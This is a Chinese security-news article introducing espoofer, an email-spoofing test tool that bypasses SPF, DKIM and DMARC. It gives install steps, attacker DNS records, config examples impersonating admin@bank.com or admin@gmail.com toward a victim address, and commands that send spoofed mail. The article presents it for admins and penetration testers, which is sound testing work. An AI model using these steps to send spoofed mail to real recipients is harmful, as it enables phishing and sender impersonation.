freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

如何使用espoofer测试邮件系统与邮件协议的安全性
Alpha_h4ck 2022-01-20 17:22:35 263205
所属地 广西

关于espoofer

espoofer是一款功能强大的电子邮件系统安全检测工具,同时它也是一款电子邮件欺骗攻击测试工具。在该工具的帮助下,广大研究人员不仅可以轻松绕过SPF、DKIM和DMARC等与电子邮件安全相关的协议,而且还可以伪造DKIM签名。

除此之外,espoofer也是一个开源的安全测试工具,该工具支持绕过电子邮件系统中的SPF、DKIM和DMARC身份验证机制。值得一提的是,该工具能够帮助邮件服务器管理员和渗透测试人员检查目标电子邮件服务器和客户端是否容易受到电子邮件欺骗攻击,或者是否可能被滥用以发送欺骗电子邮件。

简而言之,espoofer在手,邮件系统安全无忧!

下图显示的是一次针对Gmail邮箱的欺骗攻击:

演示视频:【https://you*tu.be/xuKZpT0rsd0】

工具安装

首先,我们需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/chenjj/espoofer

接下来,还需要使用pip3安装好该工具所需的依赖组件:

sudo pip3 install -r requirements.txt

注意:该工具的正常运行要求本地设备安装并配置好Python 3(>=3.7)环境。

工具使用

epsoofer提供了三种工作模式,服务器模式、客户端模式和手动模式。服务器模式下,epsoofer会以邮件服务器的形式运行;客户端模式下,epsoofer会以邮件客户端的形式运行;手动模式一般用于调试目的。下图显示的是三种模式以及对应的攻击者行为:

服务器模式

如需让epsoofer以服务器模式运行,首先我们要有一个IP地址(1.2.3.4),其输出端口为25,并且没有被ISP屏蔽;其次就是一个域名(attack.com)。

1、域名配置

设置attack.com的DKIM公钥:

selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"

设置attack.com的SPF记录:

attack.com TXT "v=spf1 ip4:1.2.3.4 +all"

2、在config.py中配置工具

config ={

"attacker_site": b"attack.com", # attack.com

"legitimate_site_address": b"admin@bank.com", # legitimate.com

"victim_address": b"victim@victim.com", # victim@victim.com

"case_id": b"server_a1", # server_a1

}

我们可以使用-l参数来查看所有测试的case_id:

python3 espoofer.py -l

3、运行工具并发送一封欺骗邮件

python3 espoofer.py

我们还可以在config.py中修改case_id,或在命令行工具中使用-id选项来测试不同的样例:

python3 espoofer.py -id server_a1

客户端模式

要在客户端模式下运行epsoofer,我们需要在目标电子邮件服务上拥有一个帐户。比如说,下面的例子中attacker@gmail.com会尝试伪装成admin@gmail.com进行操作。

1、在config.py文件中配置espoofer

config ={

"legitimate_site_address": b"admin@gmail.com",  

"victim_address": b"victim@victim.com",

"case_id": b"client_a1",

 

"client_mode": {

"sending_server": ("smtp.gmail.com", 587),  # SMTP sending serve ip and port

"username": b"attacker@gmail.com", # Your account username and password

"password": b"your_passward_here",

},

}

我们可以使用-l参数来查看所有测试的case_id:

python3 espoofer.py -l

注意:其中的“sending_server”为SMTP发送服务器的地址,而不是接收服务器的地址。

2、运行工具并发送一封欺骗邮件

python3 espoofer.py -m c

我们可以在config.py中修改case_id,并重新运行,或者在命令行中使用-id参数进行修改:

python3 espoofer.py -m c -id client_a1

手动模式

下面的命令将以手动模式运行espoofer:

python3 espoofer.py -m m -helo attack.com -mfrom <m@attack.com> -rcptto <victim@victim.com> -data raw_msg_here -ip 127.0.0.1 -port 25

工具运行截图

项目地址

espoofer:GitHub传送门

参考资料

https://you*tu.be/xuKZpT0rsd0

https://arstechnica.com/tech-policy/2017/03/fbi-hints-that-hack-of-semi-privileged-yahoo-employee-led-to-massive-breach/

https://www.cbsnews.com/news/the-phishing-email-that-hacked-the-account-of-john-podesta/

https://www.blackhat.com/us-20/briefings/schedule/#you-have-no-idea-who-sent-that-email--attacks-on-email-sender-authentication-19902

https://www.you*tube.com/watch?v=ar_lVqkWcHk&list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-&index=5&t=30s&ab_channel=BlackHat

https://www.jianjunchen.com/publication/composition-kills-a-case-study-of-email-sender-authentication/

http://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication.pdf

https://www.usenix.org/system/files/sec20fall_chen-jianjun_prepub_0.pdf

https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun

# 邮件安全 # 电子邮件安全 # 邮件安全防护
本文为 Alpha_h4ck 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Alpha_h4ck LV.10
好好学习,天天向上
  • 2359 文章数
  • 1023 关注者
Tetragon:一款基于eBPF的运行时环境安全监控工具
2025-01-21
DroneXtract:一款针对无人机的网络安全数字取证工具
2025-01-21
CNAPPgoat:一款针对云环境的安全实践靶场
2025-01-21
文章目录